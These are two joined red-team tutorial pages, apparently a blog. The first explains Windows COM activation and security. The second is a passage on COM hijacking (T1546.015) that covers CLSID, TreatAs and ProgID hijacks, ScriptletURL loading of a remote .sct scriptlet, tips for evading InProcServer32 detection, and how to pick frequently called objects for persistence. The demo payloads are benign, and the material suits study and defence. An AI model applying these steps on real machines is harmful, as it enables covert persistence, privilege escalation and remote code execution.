* **In-Process** (InprocServer32) - The vast majority of native COM servers are activated In-Process which means that the COM server is a **DLL** file that will be loaded into the client process that instantiated the COM Object, In this activation method, the SCM returns the file path of the DLL that contains the object server implementation. \
  The COM Library loads the DLL and queries it for its ***class factory*** interface pointer.<br>
* **Out-of-Process** / Local - (LocalServer32) When a COM object is configured as a Local Server it means that the server is an **EXE** file which will be executed as a different process than the Client that instantiated the COM Object, the SCM starts the local executable which registers a class factory on startup, and its interface pointer is available to the system and clients.
* **Out-of-Process** / Remote - The remote aspect here refers to DCOM which is distributed COM, for now, think of it as COM over the network (DCE-RPC). It is the act of activating or accessing a COM object on a remote machine, The local SCM acquires a class factory interface pointer from the SCM that is running on a remote computer.

### In-Process Server (DLL)

![A very simplified diagram of Loading In-Processes Server](/files/4Cb7L4BbB97Do190Bhgh)

In-Process Server is a COM Server in the form of a DLL being loaded into the client process.&#x20;

Here's a few important notes regarding this implementation

* **No Marshaling** - Since it's just a loaded DLL, there is no marshaling of communication between the client and the server
* **No EDR Visibility** - Most EDR / XDR solutions utilize hooking mechanism to monitor certain APIs or Interfaces, usually on commonly targeted processes, however to achieve this they are required to inject their DLL / Protection mechanism into the process they want to protect. \
  And so, unless they inject to every process that spawns (which I highly doubt) they are probably blind to activity of In-Process COM objects in-terms of interface method monitoring.&#x20;
* **No RPCSS -** when using Out-of-Process (LocalServer) COM, or DCOM the communication is mediated via the RPCSS service which lives on one of the svchost.exe processes. &#x20;

#### Example: **Wscript.Shell**

Lets use the most referenced COM object in the history of online COM Guides so if I fail to explain it properly you could search  else where until you'll understand :)&#x20;

Microsoft provides various COM objects, some were meant for automation purposes, and one of them is the Wscript.Shell Class.&#x20;

Using this COM Class we can instantiate an object that will allow us to execute arbitrary commands in Jscript or other executables:thumbsup:

* CLSID - {72C24DD5-D70A-438B-8A42-98424B88AFB8}
* ProgID - WScript.Shell

To prove that Wscript.Shell is an In-Process server, we can query the COM class id (CLSID) in the registry and view its configuration like so:

```powershell
Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}"
```

This query results in the following output:&#x20;

![](/files/oSrP6GQegPjxhwzQNIUs)

As you can see it has a "Inprocserver32" key which we know refers to a DLL Server component, we can then see what is the Wscript.Shell Class Server DLL which is ***wshom.ocx*** \
\
Let's instantiate the class inside our Powershell.exe process, To do that, \
I'll open **Powershell.exe** and **Process Hacker** to show you how everything looks.

![](/files/yia3JfLVkLRT3mOfjVjH)

Activating the COM Class using the CLSID:&#x20;

```powershell
$comobj = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))
```

Or we can do that with the ProgID:&#x20;

```powershell
$comobj = [System.Activator]::CreateInstance([Type]::GetTypeFromProgID("WScript.Shell"))
```

If we search for **Powershell.exe** currently loaded Module via ProcessHacker, we'll see that our COM Server has been loaded to the process

![](/files/CUhafiSVYfGhZ92qTQcp)

{% hint style="info" %}
The **".ocx"** extension means that this **DLL** is an ActiveX Control Object.&#x20;

ActiveX is a technology largely rests on COM, for additional information about ActiveX refer to other sources as this is outside the scope of this article. &#x20;
{% endhint %}

Now that we have an Instance of WScript.Shell we can use one of its methods, "Run"  to execute a command.  lets run notepad.exe

```powershell
$comobj.Run("notepad.exe")
```

And look, notepad.exe is the child of our process who loaded the COM Object, and not a child process of the usual wscript.exe or cscript.exe

![](/files/sbgM1yzUXZKUubFgB8q8)

### Out-of-Process Server

For this activation type i'll use the MMC20 Application as an example, as it is also a very common example as well as a common lateral movement technique.

Note this COM object can be used both locally and remotely (remote machine)

{% hint style="info" %}
In Out-of-process activation, "Call over the wire" occurs, hence marshaling and proxy stubs are used. To read further about it, check Microsoft's documentation. &#x20;
{% endhint %}

#### Local Out-of-Process

The MMC20 Application CLSID - {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

Lets query the registry again to prove it's an Out-of-process COM server and to understand what process to look for

```powershell
Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}"
```

![](/files/ng2JXJGi73Dpad3KumXy)

Great, Now we know we should look for the creation of "mmc.exe" once we activate the COM Object, so let's activate it

```powershell
$comobj = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889"))
```

![](/files/RBHjjSG389dQYztKNUwK)

As expected, we can see the COM Server as mmc.exe, living under svchost.exe which spawned it, exactly as we described in the [#activation-of-a-com-object](#activation-of-a-com-object "mention") Section.&#x20;

#### Remote Out-of-Process

Remote activation should be mostly transparent to the user. I wont go in-depth in this article on DCOM however I will demonstrate a simple remote activation of mmc on a remote machine.

```powershell
$comobj = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "10.10.0.1"))
```

All that's changed is that I added a destination IP, notice that this is the case when using these .NET wrappers, when using Win32 APIs **CoCreateInstance** creates a local instance while **CoCreateInstanceEx** is used to create Remote Instances.&#x20;

And as mentioned above The local service manager acquires a class factory interface pointer from the service manager that is running on a remote computer which it will then use to create the instance on the remote computer given he has the appropriate permissions.

{% hint style="danger" %}
**Firewall Rules** and **Lack of adequate security permissions** will prevent you from activating COM objects or even accessing them. &#x20;
{% endhint %}

### DLLSurrogate

COM Enables us to use a surrogate for our COM Server, which means running our COM Server on a host process outside of the client process.&#x20;

You can use either the native host process by windows which is **dllhost.exe** or specify a surrogate of your own. The configuration for a surrogate is performed in the AppID Key in the registry.

To Identify if a COM Server uses a surrogate you can check it's AppID entry (if it has one) and look for the [DLLSurrogate ](https://docs.microsoft.com/en-us/windows/win32/com/dllsurrogate)value

```
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID
   {AppID_GUID}
      DllSurrogate = path
```

Many windows processes use dllhost.exe as a COM Surrogate to execute their COM Servers, you can identify which COM server is executed on an individual dllhost.exe by checking out its command-line argument

![](/files/DnpWAiCZTJl2hVEF7E3i)

## 0x03: COM Security

This section is an important one, as it details the aspects and defaults of the Components Object Model security.&#x20;

\
Whether you succeed in creating or using a COM object will depend on upholding the security pre-requisites that COM entails, so understanding how COM authenticate users and how it checks for authorization of access to other COM object is essential.&#x20;

Generally speaking, COM provide two forms of application security

* **Activation Security** - Activation security determines whether a client can launch a server at all
* **Call Security** - After a server has been launched, you can use call security to control access to a server's objects.

{% hint style="warning" %}
COM security relies on *authentication* (the process of verifying a caller's identity) and *authorization* (the process of determining whether a caller is authorized to do what it is asking to do)
{% endhint %}

### How does COM enforce security

As mentioned above, COM has two form of application security, Activation security and Call Security. To enforce those, COM verifies the Identity of the caller and its authorization level.&#x20;

These security measures can be defined as system-wide or process-wide.

**Identity verification**

COM will use one of its supported Security Packages, most commonly Kerberos v5 protocol and NTLMSSP to verify the identity of the caller. The authentication mechanism can be specified by the client or a default protocol would be used (Kerberos v5)

**Authorization Verification**

COM is a securable object, and access to it is enforced by checking the client's  Access Control Entry(ACE) and the object's ACE in the format of a [Security Descriptor Definition Language](https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language) that is retrieved from the registry. The server achieves that by impersonating the client and attempting to access the object.

The object's ACE can be either the default value from the default COM settings or a custom when that will be defined in the AppID Key that is associated with the COM object.&#x20;

**Types of Authorization Checks**

Referring back to the Activation & Call Security aspects, COM has various types of authorization checking.

* [**AccessPermission**](https://docs.microsoft.com/en-us/windows/win32/com/accesspermission) **-** Describes the Access Control List (ACL) of the principals that can access instances of this class. This ACL is used only by applications that do not call CoInitializeSecurity.
* [**LaunchPermission**](https://docs.microsoft.com/en-us/windows/win32/com/launchpermission) **-** Describes the Access Control List (ACL) of the principals that can start new servers for this class

Each COM object also has in part of its ACL its [access rights](https://docs.microsoft.com/en-us/windows/win32/com/access-control-lists-for-com) which detail if the COM object can be executed or activated locally or remotely, this is an important factor in your ability to execute a COM object from a remote computer.&#x20;

```
COM_RIGHTS_EXECUTE 1
COM_RIGHTS_EXECUTE_LOCAL 2
COM_RIGHTS_EXECUTE_REMOTE 4
COM_RIGHTS_ACTIVATE_LOCAL 8
COM_RIGHTS_ACTIVATE_REMOTE 16
```

### COM Security Defaults

COM uses pre determined security settings defaults unless specified other wise, those defaults includes authentication methods, authorization (by specifying an Access Control Entry), Impersonation settings and more.&#x20;

1. **Authentication -** \
   For authentication, COM chooses either Kerberos v5 protocol or NTLMSSP.\
   The Kerberos protocol being the default choice.&#x20;

2. **Authentication Level -** \
   The default authentication level is RPC\_C\_AUTHN\_LEVEL\_CONNECT which means that at the call for a COM object, an authentication check is performed and once it performed it will not attempt to authenticate again. The default level can be changed by modifying the [LegacyAuthenticationLevel ](https://docs.microsoft.com/en-us/windows/win32/com/legacyauthenticationlevel)registry value however this is not recommended because it will affect ALL COM servers in the system, instead you can specify the value inside the corressponding [AppID ](https://docs.microsoft.com/en-us/windows/win32/com/appid-key)Key in the [**AuthenticationLevel**](https://docs.microsoft.com/en-us/windows/win32/com/authenticationlevel) value.&#x20;

3. **Impersonation -** \
   COM uses the RPC\_C\_IMP\_LEVEL\_IDENTIFY impersonation level which enables the COM Server to impersonate the client's security token in order to perform checks against the Server's Access Control List (ACL).

4. **Default Access Permissions -** \
   If the [AccessPermission](https://docs.microsoft.com/en-us/windows/win32/com/accesspermission) named value under **AppID** exists and has been set, that value is used. Otherwise, COM checks for a [DefaultAccessPermission](https://docs.microsoft.com/en-us/windows/win32/com/defaultaccesspermission) entry. If present, that value is used. If this value is not present, COM constructs an ACL that grants permissions to the server identity and the local system.

5. **Software Restriction Policy -** \
   If the [SRPTrustLevel](https://docs.microsoft.com/en-us/windows/win32/com/srptrustlevel) named value under **AppID** exists and has been set, that value is used. Otherwise, the Software Restriction Policy (SRP) trust level is set to Disallowed (SAFER\_LEVELID\_DISALLOWED), which indicates that the application is run in a constrained environment and is disallowed from accessing any security-sensitive user privileges of the user.

### Editing COM Security Settings

COM Security settings can be set as **system-wide** or **process-wide**, you can [edit these settings](https://docs.microsoft.com/en-us/windows/win32/com/setting-security-for-com-applications) by:&#x20;

* Directly modifying the relevant registry entries
* Using DCOMCNFG.EXE

### DCOM

Distributed COM is the same thing as COM, with some extra steps.&#x20;

Essentially DCOM is a mechanism of execution COM objects outside your process. This can be either on your local machine on a different process than the client, or on a remote computer.&#x20;

On a separate article I will dive in-depth into DCOM in the context of lateral movement, for now, here are few things I think are important to know when messing around with DCOM

1. COM and DCOM object are mostly the same.
2. DCOM operated over the Windows DCE-RPC Protocol (Transport layer may vary, can be HTTP, TCP, SMB/TCP, and more)
3. DCOM Object MUST have an AppID with defined AccessPermissions and LaunchPermissions otherwise will not be accessible remotely
4. Firewall Rules may Block DCOM traffic, which is over port 135 (RPC)
5. DCOM can be enabled or disabled on a given machine. Configuration can be located in the registry

If you can't wait to read about Lateral Movement with DCOM already, I highly suggest this article

{% embed url="<https://www.scorpiones.io/articles/lateral-movement-using-dcom-objects>" %}

## 0x04: Conclusion & Next Steps

In this article we learned a great deal about the basics of Component Object Model, we got to learn:

* [What is the history of COM and how prevalent it is on Windows](#0x01-the-component-object-model-com)&#x20;
* [What are COM objects and what tools we have to explore them](#0x02-a-look-into-com-objects)
* [What happens when a COM Object is being created and what different forms does it take](#activation-of-a-com-object)
* [Briefly, How does COM Security works ](#0x03-com-security)

In the upcoming articles I will discuss In-Depth about the offensive aspects of COM usage such as:

* COM Hijacking
* UAC Bypasses with COM objects
* Lateral Movement with DCOM&#x20;

### Additional Read&#x20;

At the terminology section you will find COM related terms that I use quite often in this article, take a glance at it when every you need. Additionally you can check Microsoft's COM Glossary page which can be found in the [#references](#references "mention") Section.&#x20;

At the References section you can find additional reading material about COM Internals which I personally enjoyed and think are a good read.&#x20;

## Terminology&#x20;

| Term                                  | Description                                                                                                                                                                                                                                          |
| ------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| CLSID                                 | A globally unique identifier (GUID) that Identifies a COM Class                                                                                                                                                                                      |
| AppID                                 | A globally unique identifier (GUID) that identifies a registry key that contains various configuration for an individual or a group of COM classes                                                                                                   |
| ProgID                                | A friendly name for a COM Class which can be used in a similar manner as CLSID                                                                                                                                                                       |
| out-of-process server (LocalServer32) | A server, implemented as an .EXE application, which runs outside the process of its client, either on the same computer or a remote computer.                                                                                                        |
| Marshalling                           | Marshaling is the procedure for packaging the call stack for transmission from proxy to stub. *Unmarshaling* is the unpackaging that occurs at the receiving end.                                                                                    |
| in-process server (InprocServer32)    | A server implemented as a DLL that runs in the process space of the client.                                                                                                                                                                          |
| Class Factory                         | A COM object that implements the [**IClassFactory**](https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory) interface and that creates one or more instances of an object identified by a given class identifier(CLSID). |
| Activation                            | The process of loading an object in memory, which puts it into the running state.                                                                                                                                                                    |
| COM object                            | A COM object is an instance of an object definition                                                                                                                                                                                                  |

## References

A list of recommended reading material

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal>" %}

{% embed url="<https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1#c-vs-c++>" %}

{% embed url="<https://the-deniss.github.io/posts/2021/05/17/discovering-and-exploiting-mcafee-com-objects.html>" %}

{% embed url="<https://github.com/tyranid/oleviewdotnet>" %}


# COM Hijacking - T1546.015

Component object model hijacking method for persistence and privilege escalation.

## 0x01: Introduction&#x20;

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.&#x20;

This technique is tagged as [T1546.015](https://attack.mitre.org/techniques/T1546/015/) on MITRE ATT\&CK and is a technique used by many threat actors for persistence and privilege escalation purposes, In this article I will in-depth on how the hijacking technique works and how to implement it and its many variants.

This technique can be performed by an **ordinary, non-admin user** and can achieve both persistence and privilege escalation, we'll discuss what makes it possible in the next section.&#x20;

{% hint style="info" %}
If you wish to read about COM objects with greater detail, read [Demystifying Windows Component Object Model (COM)](/offensive-security/windows-components-object-model/demystifying-windows-component-object-model-com)
{% endhint %}

### COM Object Execution

Before we understand how to hijack a COM Object's execution, we need to know how it is executed.&#x20;

Without diving into detail (for that you have [Demystifying Windows Component Object Model (COM)](/offensive-security/windows-components-object-model/demystifying-windows-component-object-model-com)), a COM object is implemented as either a DLL or an EXE. When a client program want to execute a COM object, it executes certain functions that initialize the steps for executing that COM Object.&#x20;

One of those crucial steps is resolving the location of the COM Object's implementation in order to execute it, after it locates the implementation, if everything else went smoothly it executes it.&#x20;

For the rest of the article I'll refer to an activated COM object as "COM Server". &#x20;

### COM Registry database

To locate a COM object, the registry is used. \
Windows Registry contains the mapping information for every COM object implementation on disk.

These are the locations of the registry keys from which you can extract the location of a COM Object:

* **HKEY\_CLASSES\_ROOT\CLSID**
* **HKEY\_CLASSES\_ROOT\WOW6432Node\CLSID**

{% hint style="warning" %}
There are additional locations, but for the sake of keeping this section short and clear, I'll discuss them in a later section to avoid confusion.
{% endhint %}

To retrieve the mapping (location) of the COM Object, we are **required** to use one of the following identifiers:

#### **CLSID**  - &#x20;

Class ID, Is a globally unique identifier (GUID) that Identifies a COM Class. \
CLSID -> *{72C24DD5-D70A-438B-8A42-98424B88AFB8}*

![CLSID Key containing the mapping to the Wscript.Shell Server -> wshom.ocx](/files/6We6Ov6HiEAwiF2pnAK1)

* **In&#x20;**<mark style="color:green;">**GREEN**</mark>**, the full registry key path,**
* **In&#x20;**<mark style="color:blue;">**BLUE**</mark>**, the CLSID of the COM Object,**
* **In&#x20;**<mark style="color:red;">**RED**</mark>**&#x20;the location on disk of the COM Object's implementation which is a DLL implementation (.ocx is a DLL).**&#x20;

When executing a COM Object, the windows service manager (SCM) attempts to locate the CLSID it received as an argument in the registry, once it locates the key with the CLSID it queries its keys in attempt to find the COM server.&#x20;

The keys that potentially contain the path to the COM Server are:

* **InprocServer32** - Path to a DLL Server
* **LocalServer32** - Path to an EXE Server

#### **ProgID** -&#x20;

Program ID is A friendly name for a COM Class which can be used in a similar manner as CLSID. &#x20;

{% hint style="info" %}
The format of a ProgID is: <*Program*>.<*Component*>.<*Version*>, \
separated by periods and with no spaces, as in *Wscript.Shell.1*
{% endhint %}

![](/files/ycuebLqU6G8RdgrWZRlk)

When We instantiate a COM Object we can use ProgID instead of CLSID provided that the ProgID key in the registry contains the appropriate mapping to the relevant CLSID. \
As you can see ProgID acts like an alias to the actual CLSID of the COM Object.&#x20;

* **In&#x20;**<mark style="color:green;">**GREEN**</mark>**&#x20;we see the full registry key path of the CLSID that this ProgID is mapped to**
* **In&#x20;**<mark style="color:blue;">**BLUE**</mark>**, the name of the ProgID**
* **In&#x20;**<mark style="color:red;">**RED**</mark>**, the mapping CLSID that's mapped to this ProgID**

{% hint style="warning" %}
The COM Object's server implementation location is always resolved via CLSID

The ProgID key contains and mapping to a CLSID which then contains the mapping to the actual DLL/EXE.&#x20;
{% endhint %}

## 0x02: The Windows Registry

### Registry Overview

COM Object execution hijacking can be achieved in a variety of methods; However, **All of them\* rely on a single registry principle which prioritize configuration inside certain hives over another.**&#x20;

{% hint style="warning" %}
Configurations on the **HKEY\_CURRENT\_USER** hive takes precedence over configurations inside the **HKEY\_LOCAL\_MACHINE** hive. The reason for that, is to enable a user-specific configuration (HKCU) whilst having a generic configuration as well (HLKM).

\*The statement above is true when you decide to hijack without overwriting existing COM configuration in HKLM which is common practice when hijacking and also doesn't require administrative privileges
{% endhint %}

In case you don't know what the Registry is, In its simplest form, it's a database where you can store and retrieve configuration data.&#x20;

A *hive* is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in.

The Windows Registry has multiple hives, these hives are nested inside various KEYS, we'll only discuss the relevant keys that are required to understand the hijacking concept.&#x20;

* **HKEY\_CURRENT\_USER (HKCU)** - Contains settings that apply only to the interactive user.

{% hint style="info" %}
The Interactive user can change keys and values that are nested inside this key, changing keys **Does Not** require administrative privileges under the current user hive.&#x20;
{% endhint %}

* **HKEY\_LOCAL\_MACHINE (HKLM)** - Contains default settings that can apply to all users on the local computer.

{% hint style="info" %}
**Only Administrator can Modify keys on this hive**
{% endhint %}

* **HKEY\_CLASSES\_ROOT (HKCR)** - Provides a view of the registry that merges the information from HKEY\_CURRENT\_USER and HKEY\_LOCAL\_MACHINE&#x20;

{% hint style="info" %}
**Unlike HKCU and HKLM that have an actual hive file on disk, this key does not.** This is because HKCR is a combined **view** of the HKEY\_CURRENT\_USER and HKEY\_LOCAL\_MACHINE hives.&#x20;
{% endhint %}

#### **32-bit application data and 64-bit application data in the Registry**

On 64-bit windows systems, the configuration data of 32-bit application will be saved under different keys than the 64-bit application.&#x20;

The structure of the keys will stay similar aside from being nested under the key *Wow6432Node*.

For example:

* Key for **64-bit** application will look like this:&#x20;
  * ***HKEY\_CURRENT\_USER\SOFTWARE\Classes***
* Key for **32-bit** application will look like this:
  * ***HKEY\_CURRENT\_USER\SOFTWARE\WOW6432Node\Classes***

### COM Identifiers & Registry

As we previously discussed, COM has two main types of identifiers it leverages to locate COM objects, **CLSID** and **ProgID.**&#x20;

Below is an exhaustive list of location in which you can find these identifiers and query them, it is also where the SCM goes to look for the location of the COM Servers, note that under the keys with "CLSID" you'll find (surprise surprise) CLSIDs, and under the other ones you'll find ProgID.&#x20;

**Exhaustive list of COM Identifiers registry locations:**&#x20;

* HKEY\_CLASSES\_ROOT
* HKEY\_CLASSES\_ROOT\CLSID
* HKEY\_CLASSES\_ROOT\WOW6432Node
* HKEY\_CLASSES\_ROOT\WOW6432Node\CLSID
* HKEY\_CURRENT\_USER\SOFTWARE\Classes
* HKEY\_CURRENT\_USER\SOFTWARE\Classes\CLSID
* HKEY\_CURRENT\_USER\SOFTWARE\WOW6432Node\Classes
* HKEY\_CURRENT\_USER\SOFTWARE\WOW6432Node\Classes\CLSID
* HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes
* HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\CLSID
* HKEY\_LOCAL\_MACHINE\SOFTWARE\WOW6432Node\Classes
* HKEY\_LOCAL\_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID

## 0x03: Hijacking COM Objects - Examples

Many Threat Actors leverage COM Hijacking in their tooling for persistence purposes [(APT28, Turla)](https://attack.mitre.org/techniques/T1546/015/) and it is also available out-of-the-box in many offensive frameworks.

In this section i'll present and demonstrate multiple COM Hijacking techniques and their variants, some are well-known and some are less.

All of them has to do with hijacking the execution process of a COM object in one way or another.\
Further more, you can get creative by combining some of the techniques and features into some less known hijacking flows.&#x20;

### CLSID Hijacking

This is the most common form of hijacking. In which we modify the registry value *InprocServer32* which contains the location of the target COM Server, and eventually map it to our own malicious COM Object.

**For the hijack to succeed we need**

1. A COM Object we compiled&#x20;
2. Create/Edit the relevant registry Keys/Values of the to-be-hijacked COM Obejct

**Explaining The Process**

1. We Choose the target COM Object we wish to hijack.\
   For example:  Wscript.Shell COM Object, Its CLSID is - {72C24DD5-D70A-438B-8A42-98424B88AFB8}
2. These are the configuration of the selected target COM object as they appear in HKLM

![Configuration state at HKLM for - {72C24DD5-D70A-438B-8A42-98424B88AFB8}](/files/UiQIPxktsvnbfCFsPW6Y)

3\. If we check the same path for the HKCU hive, we see that nothing exists there (and it shouldn't usually), once we hijack this CLSID, this key will be created in this hive (HKCU)

![Configuration state at HKCU for - {72C24DD5-D70A-438B-8A42-98424B88AFB8}](/files/iMhwTaHhNfvyyVhcDzBP)

{% hint style="info" %}
Total Registry shows deleted keys which is why we still see the CLSID key in this image. \
This is residue from testing the technique previously, Normally the key itself wouldn't exist. &#x20;
{% endhint %}

4.To create and edit the relevant registry keys i'll use the COMHijackToolKit which is a PowerShell script that's a part of [acCOMplice](https://github.com/nccgroup/acCOMplice).

In addition, I've compiled a COM Server (TestCOMServer.dll) using [this source](https://github.com/leoloobeek/COMProxy) (COM Proxy will be explained later in this article) that we would use to replace the wshom.ocx server.&#x20;

![](/files/5gLy2BWcBU51cKhXU2Jx)

5\. The script loads the COMHijackToolkit utility, Creates the registry value to point to our DLL in HKCU, then Executes the COM object (using a ProgID), then cleans up the registry by deleting the new registry values that hijack the object.

Let's execute the script init-com-hijack.ps1, \
We can see the script created the registry entry in HKCU that points to our DLL:&#x20;

![](/files/VeJ7Kkt2gxXk7bFG9wyz)

The result of executing our COM Server is a message box, we can also see that our dll was successfully loaded to the process that executed the COM object (powershell.exe).

{% hint style="info" %}
PowerShell provides an easy wrapper for COM objects instantiation using a ProgID: \
New-Object -comObject \<ProdID>
{% endhint %}

![](/files/gnyQ2M0CL7vHRqrCQDpw)

In our example I performed a cleanup of the registry key we created that hijacks the object, if we will not delete our key, every program that executes the WScript COM will execute our DLL instead.&#x20;

{% hint style="warning" %}
Note that this hijack will only work for 64-bit, as we hijacked only the 64-bit version of this COM Object.&#x20;

So processes such as Winword.exe that by default come as 32-bit will use the 32bit registry key to resolve the location of the DLL and most importantly will use a 32-bit implementation of the COM Object.&#x20;
{% endhint %}

### TreatAs Hijacking

This is another form of CLSID Hijacking, without modifying the actual server value(InprocServer32) in the registry. Instead, we specify the CLSID of a class that can emulate the current class.

Which means that we can use this key to redirect the execution of a certain COM object to a different one. This time only providing a different CLSID without modifying the InprocServer32 value of the original COM Object.&#x20;

**For the hijack to succeed we need**

1. A COM Object we compiled&#x20;
2. Register our COM object in the registry
3. Create/Edit the relevant registry Keys/Values of the to-be-hijacked COM Obejct

**Explaining The Process**

I'll use an example from Matt Nelson's and Casey Smith's lecture.\
As you can see we register a COM object of our own and then we add a TreatAs key to the COM Object we wish to hijack.

In this case we hijack the {3734FF83-6764-44B7-A1B9-55F56183CDB0} object and map it to points to our CLSID which is - {0000001-0000-0000-0000-0000FEEDACDC}

![](/files/a3MYV7pI5dyFD353IsqZ)

If we proceed to execute the original COM object by CLSID, we'll see that our .sct file is executed instead, opening calc.exe

![](/files/ge21t25DVeZAEwjq616o)

The cool thing about this technique is that it evades simple detections that are based on detecting the modification of the InProcServer32 value in specific common COM Objects, and results only in editing the TreatAs value which is less common.&#x20;

### ProgID Hijacking

When a program instantiate a COM object with ProgID, it will go through a resolution process to determine the CLSID that's mapped to the ProgID.&#x20;

**For the hijack to succeed we need**

1. A COM Object we compiled&#x20;
2. Register our COM object in the registry
3. Create/Edit the relevant registry Keys/Values of the to-be-hijacked COM Obejct

**Explaining The Process**

1. We'll choose Wscript's COM whos CLSID is *{72C24DD5-D70A-438B-8A42-98424B88AFB8}* and identify its ProgID by navigating the to the CLSID key in the registry and observing the value of ProgID

![ProgID Version dependent](/files/gJCP3qrjT0YCIEFOEXZf)

{% hint style="info" %}
You might have noticed the VersionIndependentProgID key, it provides an Independent name for the ProgID which enables programs to call it by its "common" name and not a version specific one.&#x20;
{% endhint %}

![ProgID Version Independent](/files/4neD7WfBCBxq0U8WgHlR)

2\. Now that we know the ProgID we navigate to its location - \Classes\Wscript.Shell\
We can see that the ProgID is mapped to the *{72C24DD5-D70A-438B-8A42-98424B88AFB8}* CLSID which is indeed, the WScript COM Object's CLSID.

![](/files/aBpPfWM26ocSkWK4R77y)

3\. To Hijack the ProgID we are required to:

* Create a new ProgID key in HKCU that is mapped to our desired COM Object CLSID&#x20;
* Register our own COM object (or use an existing one)

This screenshot below shows a .reg file that I'll use to import all registry changes with ease by using the command:&#x20;

```
reg.exe import .\ProgIdHijackDLL_Wscript.reg
```

![Wscript.Shell ProgID Hijack](/files/W4h0lYe1bHMkzY3P8mZM)

**Let's Understand what's happening**

1. **Create a new ProgID**\
   I am creating a new registry key with the same name of the ProgID I want to \
   hijack in HKCU and add a mapping to a Class ID (CLSID) I generated. This step causes the hijack to work and redirects every call made via this ProgID to the CLSID I mapped.&#x20;
2. **Registering our COM Object**

   Because I use a CLSID that I generated which didn't exist before, I am required to register it, otherwise the mapping will point nowhere and nothing will happen. \
   \
   So I am creating the CLSID key, along with the mapping to our DLL on disk and with the appropriate ProgID.&#x20;

**Registry state after the modification**

![ProgID Key](/files/JG6sWR7Q0Wz9ylu7ADM8)

![CLSID Key](/files/5O6zVW6VXsYdekS7Dcog)

**Execution**

As you can see, when executing WScript via ProgID we successfully hijack the execution

![ProgID Successful hijack](/files/WTuGkarw4oE4LsWrH0RP)

However, If we try to execute it via the CLSID which we DIDN'T hijack, the hijack will not work (as expected) and we will not see our message box. This technique variant can thwart detection mechanisms relying on modification of the InProcServer32 value in specific COM objects.&#x20;

![Bypassing the ProgID Hijack](/files/N5kSq5zp9YkYjcRQilJZ)

### ScriptletURL - "Fileless" COM Execution

Instead of dropping to disk your custom COM object(DLL), you can utilize Windows Scripting Components (Scriptlets), the *ScriptletURL* configuration allows us to register a remote location containing an .sct file, that will be downloaded and executed. \
\
[**Windows Script Components**](https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524594\(v=vs.90\)) provide you with an easy way to create Component Object Model (COM) components using scripting languages such as VBScript, JScript and JavaScript.

Script component technology is made up of the following:

* The script component run-time (Scrobj.dll).
* Interface handlers
* Your script component file (a.sct file). In your script component, you specify which interface handler you want to use.

{% hint style="info" %}
[Read more about the structure of the SCT file](https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525369\(v=vs.90\))&#x20;
{% endhint %}

**There are three main requirements to utilize the ScripletURL configuration**

* The script component run-time (Scrobj.dll) needs to be the "COM Server"
* Create an appropriately structured .sct file&#x20;
* Provide a reachable address when specifying the location of the .sct file

I've taken this example from Matt Nelson (@enigma0x3) and Casey Smith (@subtee) lecture [Windows Operating System Archaeology](https://www.youtube.com/watch?v=fo4I-EPNYE4) which I highly recommend watching, and used it to register a COM Object with the ScriptletURL option.&#x20;

![](/files/AEgR8f3sHtF1CJgSsVsd)

As you can see, we performed a ProgID hijack of the "Scripting.Dictionary" ProgID, in-addition to creating our CLSID with the relevant configuration to utilize the ScripletURL feature. \
\
The result is a registered COM Object, with the Windows Scripting Component Run-time (scrobj.dll) as it's server (InprocServer32) and a URL path that remotely retrieves the [scriptlet from github.](https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/Payload/Slmgr_calc.sct)&#x20;

![](/files/P0czQTircHIutppIytfZ)

When a program creates a new instance of the COM object we hijack using the ProgID *Scripting.Dictionary* it will fetch the .sct file from the URL, scrobj.dll will handle the registration details that exist within the file and will then invoke the relevant interfaces to execute the code inside (VBScript, Jscript, etc)

![ScriptletURL in action](/files/rYJaZHGWuNcGj5gcMu8I)

{% hint style="info" %}
If you'd like to hijack an existing CLSID, you can enumerate the CLSID list in the registry and look for ones who uses ScriptletURL and modify that value.&#x20;
{% endhint %}

## 0x04 Enhancing the Hijack&#x20;

### Choosing The Right COM Object

#### Identifying Common COM Objects

When you use COM Hijacking for persistence, you probably want the object you hijack to be executed relatively frequently and so you'd want COM objects that are actually getting called by the system or other programs.&#x20;

One strategy you may take is opening your favorite monitoring tool such as Procmon, and monitor registry query event for  any of the interesting keys we discussed(InprocServer32, TreatAs, ScriptletURL, CLSID, and any key under *\Classes\\*), quantify the results and decide on an object to hijack.&#x20;

Here's for example a Procmon session I monitored for 30 seconds, with the InProcServer32 filter inside the "Path" column yields 17K+ registry events (!).\
Of course you still need to filter and remove duplicates but this is enough to get you going :)&#x20;

![](/files/HXnb6yUp0txMYVdrjccF)

#### Missing Libraries

Another Interesting thing you can do is enumerate registered COM Object that points to non-existent DLLs by checking the InProcServer32 path and attempting to late the DLL on disk, and thus hijacking the execution without modifying the registry.

If you just want to quickly test that on your machine, [acCOMplice ](https://github.com/nccgroup/acCOMplice/blob/master/COMHijackToolkit/COMHijackToolkit.ps1)has implemented a PowerShell function to do just that "Find-MissingLibraries"

### Better Stability
